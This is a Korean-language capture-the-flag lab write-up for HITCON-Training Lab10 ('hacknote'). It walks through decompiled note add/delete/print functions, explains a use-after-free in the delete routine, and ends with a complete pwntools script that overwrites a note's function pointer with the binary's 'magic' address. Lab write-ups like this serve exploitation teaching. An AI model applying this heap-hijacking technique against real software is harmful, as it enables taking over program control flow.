[HITCON-Training]Lab10

3가지 메뉴로 구성되어 있다. add, delete, print

add해주는 곳인데 처음에 malloc(8)로 함수포인터를 저장해놓는다. 그리고 뒤에서 원하는 사이즈만큼 할당하고 값을 쓸 수 있다.

unsigned int add_note()
{
  _DWORD *v0; // ebx
  signed int i; // [esp+Ch] [ebp-1Ch]
  int size; // [esp+10h] [ebp-18h]
  char buf; // [esp+14h] [ebp-14h]
  unsigned int v5; // [esp+1Ch] [ebp-Ch]

  v5 = __readgsdword(20u);
  if ( count <= 5 )
  {
    for ( i = 0; i <= 4; ++i )
    {
      if ( !notelist[i] )
      {
        notelist[i] = malloc(8u);
        if ( !notelist[i] )
        {
          puts("Alloca Error");
          exit(-1);
        }
        *notelist[i] = print_note_content;
        printf("Note size :");
        read(0, &buf, 8u);
        size = atoi(&buf);
        v0 = notelist[i];
        v0[1] = malloc(size);
        if ( !*(notelist[i] + 1) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        printf("Content :");
        read(0, *(notelist[i] + 1), size);
        puts("Success !");
        ++count;
        return __readgsdword(0x14u) ^ v5;
      }
    }
  }
  else
  {
    puts("Full");
  }
  return __readgsdword(0x14u) ^ v5;
}

여기서 free해주는데 2번 free해주게 된다.

unsigned int del_note()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( notelist[v1] )
  {
    free(*(notelist[v1] + 1));
    free(notelist[v1]);
    puts("Success");
  }
  return __readgsdword(0x14u) ^ v3;
}

함수포인터로 함수를 실행시켜준다.

unsigned int print_note()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( notelist[v1] )
    (*notelist[v1])(notelist[v1]);
  return __readgsdword(0x14u) ^ v3;
}

*notelist[i]에 출력해주는 함수 포인터가 들어가는데 이 주소를 magic으로 덮어주면 된다.

exploit.py

from pwn import *

context.log_level = 'debug'
e = ELF('./hacknote')
p = process('./hacknote')
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
magic = e.symbols['magic']

def add_note(size,content):
	sa(':','1')
	sa(':',str(size))
	sa(':',content)

def del_note(idx):
	sa(':','2')
	sa(':',str(idx))

def print_note(idx):
	sa(':','3')
	sa(':',str(idx))

def quit():
	sa(':','4')

add_note(20,'AAAA')
add_note(20,'BBBB')
del_note(0)
del_note(1)
add_note(8,p64(magic))
print_note(0)

p.interactive()